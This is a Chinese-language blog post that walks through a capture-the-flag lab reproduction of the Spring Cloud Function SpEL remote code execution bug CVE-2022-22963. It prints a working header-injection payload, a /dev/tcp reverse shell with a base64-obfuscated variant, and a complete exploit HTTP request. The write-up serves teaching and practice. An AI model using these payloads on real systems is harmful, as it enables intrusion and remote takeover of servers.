首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【网络安全CTF夺旗攻击实战】CVE-2022-22963:Spring Cloud Function SpEL远程代码执行漏洞复现全记录!从端口扫描探测到反弹Shell的完整攻防

【网络安全CTF夺旗攻击实战】CVE-2022-22963:Spring Cloud Function SpEL远程代码执行漏洞复现全记录!从端口扫描探测到反弹Shell的完整攻防

作者头像
XPcode7
发布2025-10-23 15:05:54
发布2025-10-23 15:05:54
1030
举报

【网络安全CTF夺旗攻击实战】CVE-2022-22963:Spring Cloud Function SpEL 远程代码执行漏洞复现全记录!从端口探测到反弹Shell的完整攻防


🔷博主介绍

致力于网络安全(漏洞挖掘、攻防实战)、Linux 内核系统(底层原理与性能调优)、区块链技术(Web3 安全与智能合约审计)、Python 语言应用(自动化攻防工具开发)、软件开发(全栈安全开发)等新一代信息技术领域的技术研究与干货分享,坚持以极简篇幅承载硬核知识的创作理念,为技术爱好者提供高效、深度、可落地的阅读体验。CSDN认证网络安全领域优质创作者、网络安全博客专家认证、阿里云专家博主

🌐各大技术专栏推荐

专栏名称

专栏介绍

网络安全攻防之道

为网络安全从业者、白帽黑客与技术爱好者打造的攻防知识阵地。深度剖析漏洞利用与防御的技术细节,实战演练渗透测试全流程,输出可落地的攻防策略,陪你在攻防对抗中持续进阶。

Linux 系统运维:从底层原理到企业级实战

这里是 Linux 系统运维的实战修炼场:从系统初始化到高可用架构,从命令行魔术到自动化运维利器,深度拆解 CentOS/Ubuntu 在企业级业务、云原生环境中的运维密码。带你穿透系统底层逻辑,掌握性能调优、故障秒级定位、自动化脚本开发的硬核技能,进阶成为能扛住业务压力的 Linux 运维专家

【VulnHub 靶场攻防】从漏洞复现到实战渗透

不管你是刚入门的渗透新人,还是想强化实战能力的安全工程师,都能在这儿找到匹配的靶场练手项目。我们聚焦可复现的漏洞利用技巧,结合 Nmap、Metasploit、BurpSuite 等工具实战演示,帮你把靶场经验转化为真实渗透能力,一步步成长为能在实战中 “打怪升级” 的渗透高手

博主年度总结与收获

这里是旺仔 Sec 的创作成长日记!作为 CSDN 认证的网络安全优质创作者,我把每一年的技术深耕、创作思考、成长突破都浓缩在这儿 —— 从漏洞分析的技术沉淀,到内容创作的经验复盘,再到从工程师到博主的身份进阶,每一篇总结都是 “技术探索 + 创作感悟” 的双料干货

在这里插入图片描述
在这里插入图片描述

一、漏洞信息发掘:从端口探测到漏洞定位

1.1 用 Nmap 探测靶机开放端口
1.2 端口攻击筛选:排除 22/445 端口,聚焦 8080 端口
1.3 分析 8080 端口页面,定位漏洞类型

这不是报错界面,这是一个提示界面,于是我们网上浏览得知漏洞信息

二、漏洞详情:CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞

漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞 危害等级:高危 漏洞类型:中间件漏洞 漏洞概述:由于 Spring Cloud Function 中 RoutingFunction 类的 apply 方法,将请求头中 “spring.cloud.function.routing-expression” 参数作为 Spel 表达式处理,导致 Spel 表达式注入。攻击者使用路由功能时,可利用该漏洞远程执行任意代码

三、漏洞复现全流程

3.1 访问漏洞 URL,确认漏洞入口

访问漏洞url:http://192.168.94.145:8080/functionRouter

3.2 构造 POC 验证漏洞:添加请求头并发送 POST 包
代码语言:javascript
复制
POC:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") 

对靶机进行抓包,并将包转换为post类型,在转换后的包内添加poc,并发送:如下图

这里可以看出我们在包中添加的信息已经发送给靶机,做出了回应那么我们可以做一个反弹shell添加进去,让靶机反弹shell回来

3.3 生成反弹 Shell 命令(附工具网站推荐)

这里我用我的kali作为反弹机子,IP地址为192.168.94.139

然后制造反弹shell命令,这里我推荐一个制作shell网站

地址:https://forum.ywhack.com/reverse-shell/

得到:

代码语言:javascript
复制
sh -i >& /dev/tcp/192.168.94.139/9998 0>&1
3.4 对 Shell 命令进行 Base64 加密(附加密工具地址)

然后我们得对命令进行base64加密

这里也推荐一个工具网站

地址:https://bewhale.github.io/tools/encode.html

得出:

代码语言:javascript
复制
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC45NC4xMzkvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}
3.5 Kali 开启监听,发送加密命令获取靶机 Shell

kali linux开启监听,然后我们将加密后的命令加入数据包并发给靶机

代码语言:javascript
复制
POST /functionRouter HTTP/1.1

Host: 192.168.94.145:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC45NC4xMzkvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}") 

Content-Length: 51

Connection: close

Upgrade-Insecure-Requests: 1

然后kali中成功返回shell

实战插曲:获取 Shell 后遭遇 flagvalue.txt 文件查找问题

然后C模块比赛中,虽然进入了shell,但是靶机这里找不到flagvalue.txt文件,根据比赛选手说,他们也是在赛场上找不到flagvalue的文件,可能这个环境没做好,我们这里也是在/root目录下没有找到flagvalue文件

但是我通过特殊方式进入靶机查看确实是有flagvalue.txt文件的(苦笑了)

🤵‍♂️ 个人博客主页: @旺仔Sec的博客主页 WeChat公众号:鹏璃安全 ✍🏻 博主身份:网络安全兼技能大赛工程师 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞👍🏻 收藏 📂加关注(各大技能大赛参考答案链接如下) 🖥️:软件测试技能大赛参考答案 🙌:软件测试—单元自动化接口测试参考答案 👻:区块链技术应用技能大赛参考答案 🚀:大数据应用开发职业院校竞赛答案参阅 🔎:GZ100移动应用设计与开发参考答案 ✍:GZ031应用软件系统开发参考答案 ☠:网络安全职业技能大赛任务解析 我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=f1h0e6imkjj

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 【网络安全CTF夺旗攻击实战】CVE-2022-22963:Spring Cloud Function SpEL 远程代码执行漏洞复现全记录!从端口探测到反弹Shell的完整攻防
    • 一、漏洞信息发掘:从端口探测到漏洞定位
      • 1.1 用 Nmap 探测靶机开放端口
      • 1.2 端口攻击筛选:排除 22/445 端口,聚焦 8080 端口
      • 1.3 分析 8080 端口页面,定位漏洞类型
    • 二、漏洞详情:CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞
    • 三、漏洞复现全流程
      • 3.1 访问漏洞 URL,确认漏洞入口
      • 3.2 构造 POC 验证漏洞:添加请求头并发送 POST 包
      • 3.3 生成反弹 Shell 命令(附工具网站推荐)
      • 3.4 对 Shell 命令进行 Base64 加密(附加密工具地址)
      • 3.5 Kali 开启监听,发送加密命令获取靶机 Shell
      • 实战插曲:获取 Shell 后遭遇 flagvalue.txt 文件查找问题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档